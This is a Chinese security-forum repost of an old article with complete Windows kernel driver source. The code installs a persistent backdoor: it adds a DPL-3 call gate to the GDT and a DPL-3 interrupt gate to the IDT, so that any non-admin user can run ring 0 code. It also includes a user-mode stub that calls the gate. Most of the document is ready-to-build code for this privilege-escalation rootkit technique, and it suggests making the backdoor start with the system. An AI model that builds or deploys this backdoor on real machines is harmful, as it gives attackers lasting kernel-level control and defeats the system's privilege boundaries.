【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

标题: 任意用户模式下执行 ring 0 代码 [打印本页]

作者: 律师界撒 时间: 2008-9-29 08:56 标题: 任意用户模式下执行 ring 0 代码

任意用户模式下执行 ring 0 代码

[url=http://www.xfocus.net/articles/200306/562.html][/url]

众所周知在非 Admin 用户模式下，是不允许加载驱动执行 RING 0 代码的。
本文提供了一种方法，通过修改系统 GDT，IDT 来添加自己的 CALLGATE 和
INTGATE 这样便在系统中设置了一个后门。我们就可以利用这个后门
在任意用户模式下执行 ring 0 代码了。为了保证我们添加的 CALLGATE 和 INT
GATE 永久性。可以在第一次安装时利用 SERVICE API 或 INF 文件设置成随
系统启动。不过此方法也有个缺陷，就是在第一次安装 CALLGATE 或 INTGATE
时仍然需要 ADMIN 权限。下面分别给出了添加 CALLGATE 与 INTGATE 的具体
代码。


一、通过添加调用门实现

  为了可以让任意用户来调用我们的 CALLGATE 需要解决一个小问题。因为
需要知道 CALLGATE 的 SELECTOR 后才可以调用。而在 RING 3 下除了能
得到 GDT 的 BASE ADDRESS 和 LIMIT 外是无法访问 GDT 内容的。我本想
在 RING 0 把 SELECTOR 保存到文件里。在 RING 3 下读取出来再调用。
后经过跟 wowocock 探讨。他提出的思路是在 RING 0 下通过
ZwQuerySystemInformation 得到 NTDLL.DLL 的 MODULE BASE 然后根据
PE HEADER 中的空闲处存放 SELECTOR。这样在 RING 3 的任意用户模式下
就很容易得到了。在这里要特别感谢 wowocock。下面的代码为了演示
方便，用了在我机器上 GDT 中第一个空闲描述符的 SELECTOR 。

驱动程序：

/*****************************************************************
文件名       : WssAddCallGate.c
描述       : 添加调用门
作者       : sinister
最后修改日期  : 2002-11-02
*****************************************************************/

#include "ntddk.h"
#include "string.h"

#ifndef DWORD
#define DWORD unsigned int
#endif

#ifndef WORD
#define WORD unsigned short
#endif

#define LOWORD(l)          ((unsigned short)(unsigned int)(l))
#define HIWORD(l)          ((unsigned short)((((unsigned int)(l)) >> 16) & 0xFFFF))

typedef unsigned long ULONG;
static NTSTATUS  MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject);

#pragma pack(push,1)

typedef struct tagGDTR{
WORD wLimit;
DWORD *dwBase;
}GDTR, *PGDTR;

typedef struct tagGDT_DESCRIPTOR{
unsigned limit       : 16;
unsigned baselo       : 16;
unsigned basemid    : 8;
unsigned type       : 4;
unsigned system    : 1;
unsigned dpl       : 2;
unsigned present    : 1;
unsigned limithi    : 4;
unsigned available : 1;
unsigned zero       : 1;
unsigned size       : 1;
unsigned granularity : 1;
unsigned basehi : 8;
}GDT_DESCRIPTOR, *PGDT_DESCRIPTOR;

typedef struct tagCALLGATE_DESCRIPTOR{
unsigned short offset_0_15;
unsigned short selector;
unsigned char param_count : 4;
unsigned char some_bits : 4;
unsigned char type       : 4;
unsigned char app_system  : 1;
unsigned char dpl       : 2;
unsigned char present    : 1;
unsigned short offset_16_31;
} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;

#pragma pack(pop)

void __declspec(naked) Ring0Call()
{
PHYSICAL_ADDRESS  PhyAdd;

__asm {
      pushad
      pushfd
      cli
}

   DbgPrint("WSS - My CallGate \n");

   //
   // 这里可以添加你想要执行的 ring 0 代码。
   //

__asm {
   popfd
   popad
   retf
}
}

VOID AddCallGate( ULONG FuncAddr )
{
GDTR                   gdtr;
PGDT_DESCRIPTOR       gdt;
PCALLGATE_DESCRIPTOR callgate;
WORD                   wGDTIndex = 1;

__asm {
      sgdt  gdtr                // 得到 GDT 基地址与界限
}

gdt = (PGDT_DESCRIPTOR) ( gdtr.dwBase + 8 );  // 跳过空选择子

while ( wGDTIndex < ( gdtr.wLimit / 8 ) )
{
   if ( gdt->present == 0 )    //从 GDT 中找到空描述符
   {
         callgate = (PCALLGATE_DESCRIPTOR)gdt;

         callgate->offset_0_15          = LOWORD(FuncAddr);
         callgate->selector       = 8;                   // 内核段选择子
         callgate->param_count          = 0;             // 参数复制数量
         callgate->some_bits       = 0;
         callgate->type          = 0xC;             // 386调用门
         callgate->app_system          = 0;                   // 系统描述符
         callgate->dpl          = 3;                   // RING 3 可调用
         callgate->present       = 1;                   // 设置存在位
         callgate->offset_16_31 = HIWORD(FuncAddr);
         DbgPrint("Add CallGate\n");

         return;
   }

   gdt ++;
   wGDTIndex ++;
}

}

// 驱动入口
NTSTATUS  DriverEntry( IN PDRIVER_OBJECT DriverObject,  IN PUNICODE_STRING RegistryPath )
{

UNICODE_STRING  nameString, linkString;
PDEVICE_OBJECT  deviceObject;
NTSTATUS       status;
HANDLE       hHandle;
int             i;

//卸载驱动
DriverObject->DriverUnload = DriverUnload;

//建立设备
RtlInitUnicodeString( &nameString, L"\\Device\\WssAddCallGate" );

status = IoCreateDevice( DriverObject,
                           0,
                           &nameString,
                           FILE_DEVICE_UNKNOWN,
                           0,
                           TRUE,
                           &deviceObject
                        );


if (!NT_SUCCESS( status ))
      return status;

RtlInitUnicodeString( &linkString, L"\\DosDevices\\WssAddCallGate" );

status = IoCreateSymbolicLink (&linkString, &nameString);

if (!NT_SUCCESS( status ))
{
      IoDeleteDevice (DriverObject->DeviceObject);
      return status;
}

AddCallGate((ULONG)Ring0Call);

for ( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {

      DriverObject->MajorFunction = MydrvDispatch;
}

   DriverObject->DriverUnload = DriverUnload;

  return STATUS_SUCCESS;
}

//处理设备对象操作

static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0L;
IoCompleteRequest( Irp, 0 );
return Irp->IoStatus.Status;

}

VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)
{
UNICODE_STRING  nameString;

RtlInitUnicodeString( &nameString, L"\\DosDevices\\WssAddCallGate" );
IoDeleteSymbolicLink(&nameString);
IoDeleteDevice(pDriverObject->DeviceObject);

return;
}

应用程序：

#include <windows.h>
#include <stdio.h>

void main()
{
WORD farcall[3];

farcall[0] = 0x0;
farcall[1] = 0x0;
farcall[2] = 0x4b;  //在我机器上，添加 CALLGATE 的选择子为 4BH

_asm call fword ptr [farcall]

}

二、通过添加中断门实现

  添加中断门没有什么需要解决的问题。直接在 RING 3 利用 int x
即可切换。想想系统调用 INT 2E 就很容易理解了。

/*****************************************************************
文件名       : WssMyInt.c
描述       : 添加中断门
作者       : sinister
最后修改日期  : 2002-11-02
*****************************************************************/

#include "ntddk.h"

#pragma pack(1)

typedef struct tagIDTR {
      short Limit;
      unsigned int Base;
}IDTR, *PIDTR;

typedef struct tagIDTENTRY {
      unsigned short OffsetLow;
      unsigned short Selector;
      unsigned char  Reserved;
      unsigned char  Type:4;
      unsigned char  Always0:1;
      unsigned char  Dpl:2;
      unsigned char  Present:1;
      unsigned short OffsetHigh;
} IDTENTRY, *PIDTENTRY;

#pragma pack()

#define MYINT 0x76

extern VOID _cdecl MyIntFunc();
CHAR IDTBuffer[6];

IDTENTRY  OldIdt;
PIDTR idtr = (PIDTR)IDTBuffer;

static NTSTATUS  MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject);

// 我们得中断处理函数

VOID _cdecl MyIntFunc()
{
PHYSICAL_ADDRESS  PhyAdd;
unsigned int    dwCallNum;
unsigned int    dwVAddr;

_asm mov dwCallNum,eax

   //
   // 这里可以添加你想要执行的 ring 0 代码
   //

switch ( dwCallNum )
{
      case 0x01:
         DbgPrint("MyIntGate eax = 0x01\n");
         break;

      case 0x02:
         DbgPrint("MyIntGate eax = 0x02\n");
         break;

      default:break;

}

_asm iretd; //中断返回
}

NTSTATUS AddMyInt()
{
PIDTENTRY Idt;

//得到 IDTR 中得段界限与基地址
_asm sidt IDTBuffer

Idt = (PIDTENTRY)idtr->Base; //得到IDT表基地址

//保存原有得 IDT
RtlCopyMemory(&OldIdt, &Idt[MYINT], sizeof(OldIdt));

//禁止中断
_asm cli

//设置 IDT 表各项添加我们得中断

Idt[MYINT].OffsetLow = (unsigned short)MyIntFunc; //取中断处理函数低16位
Idt[MYINT].Selector = 8;                         //设置内核段选择子
Idt[MYINT].Reserved = 0;                         //系统保留
Idt[MYINT].Type       = 0xE;                         //设置0xE表示是中断门
Idt[MYINT].Always0    = 0;                         //系统保留必须为0
Idt[MYINT].Dpl       = 3;                         //描述符权限，设置为允许 RING 3 进程调用
Idt[MYINT].Present    = 1;                         //存在位设置为1表示有效
Idt[MYINT].OffsetHigh  = (unsigned short)((unsigned int)MyIntFunc>>16); //取中断处理函数高16位

//开中断
_asm sti

return STATUS_SUCCESS;
}

//删除中断

void RemoveMyInt()
{
PIDTENTRY          Idt;
Idt = (PIDTENTRY)idtr->Base;

_asm cli
//恢复 IDT
RtlCopyMemory(&Idt[MYINT], &OldIdt, sizeof(OldIdt));
_asm sti
}

// 驱动入口
NTSTATUS  DriverEntry( IN PDRIVER_OBJECT DriverObject,  IN PUNICODE_STRING RegistryPath )
{

UNICODE_STRING  nameString, linkString;
//UNICODE_STRING  deviceString;
PDEVICE_OBJECT  deviceObject;
NTSTATUS       status;
WCHAR          wBuffer[200];

nameString.Buffer       = wBuffer;
nameString.MaximumLength = 200;

//卸载驱动
DriverObject->DriverUnload = DriverUnload;

//建立设备
RtlInitUnicodeString( &nameString, L"\\Device\\WSSINT" );

status = IoCreateDevice( DriverObject,
                           0,
                           &nameString,
                           FILE_DEVICE_UNKNOWN,
                           0,
                           TRUE,
                           &deviceObject
                        );


if (!NT_SUCCESS( status ))
      return status;

RtlInitUnicodeString( &linkString, L"\\??\\WSSINT" );

//使WIN32应用程序可见
status = IoCreateSymbolicLink (&linkString, &nameString);

if (!NT_SUCCESS( status ))
{
      IoDeleteDevice (DriverObject->DeviceObject);
      return status;
}

AddMyInt();

DriverObject->MajorFunction[IRP_MJ_CREATE] = MydrvDispatch;
DriverObject->MajorFunction[IRP_MJ_CLOSE]  = MydrvDispatch;

  return STATUS_SUCCESS;
}

static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
NTSTATUS          status;

UNREFERENCED_PARAMETER( DeviceObject );

Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0L;
status = STATUS_SUCCESS;

IoCompleteRequest( Irp, 0 );
return status;

}

VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)
{
UNICODE_STRING  nameString;
UNICODE_STRING  deviceString,driveString;
NTSTATUS       ntStatus;

RemoveMyInt();

//删除WIN32可见
IoDeleteSymbolicLink(&nameString);
//删除设备
IoDeleteDevice(pDriverObject->DeviceObject);

return;
}

欢迎光临【3.A.S.T】网络安全爱好者 (http://3ast.com./)